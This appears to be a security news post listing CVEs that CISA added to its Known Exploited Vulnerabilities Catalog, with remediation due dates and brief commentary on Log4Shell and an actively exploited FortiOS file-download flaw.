Below is the list of new vulnerabilities added to the Known Exploited Vulnerabilities Catalog, which is the list of issues frequently used as attack vector by threat actors in the wild and that pose significant risk to the federal enterprise.

CVE NumberCVE TitleRemediation Due Date
CVE-2021-44228Apache Log4j2 Remote Code Execution Vulnerability12/24/2021
CVE-2021-44515Zoho Corp. Desktop Central Authentication Bypass Vulnerability12/24/2021
CVE-2021-44168Fortinet FortiOS Arbitrary File Download Vulnerability12/24/2021
CVE-2021-35394Realtek Jungle SDK Remote Code Execution Vulnerability12/24/2021
CVE-2020-8816Pi-Hole AdminLTE Remote Code Execution Vulnerability6/10/2022
CVE-2020-17463Fuel CMS SQL Injection Vulnerability6/10/2022
CVE-2019-7238Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability6/10/2022
CVE-2019-13272Linux Kernel Improper Privilege Management Vulnerability6/10/2022
CVE-2019-10758MongoDB mongo-express Remote Code Execution Vulnerability6/10/2022
CVE-2019-0193Apache Solr DataImportHandler Code Injection Vulnerability6/10/2022
CVE-2017-17562Embedthis GoAhead Remote Code Execution Vulnerability6/10/2022
CVE-2017-12149Red Hat Jboss Application Server Remote Code Execution Vulnerability6/10/2022
CVE-2010-1871Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability6/10/2022

The CVE-2021-44228 flaw made the headlines last week, after Chinese security researcher p0rz9 publicly disclosed a Proof-of-concept exploit for the critical remote code execution zero-day vulnerability (aka Log4Shell) that affects the Apache Log4j Java-based logging library.

The impact of the issue is devastating, thousands of organizations worldwide are potentially exposed to attacks and security experts are already reported exploitation attempts in the wild.

CISA also warns of a recently disclosed arbitrary file download vulnerability in FortiOS, tracked as CVE-2021-44168, that is actively exploited.

“A download of code without integrity check vulnerability [CWE-494] in the “execute restore src-vis” command of FortiOS may allow a local authenticated attacker to download arbitrary files on the device via specially crafted update packages.” reads the advisory published by Fortinet. “Fortinet is aware of an instance where this vulnerability was abused and recommends immediately validating your systems for indicators of compromise”

Log4Shell update: Attack surface, attacks in the wild, mitigation and remediation

Log4Shell explained – how it works, why you need to know, and how to fix it

Tags: CISA, Log4j, Log4shell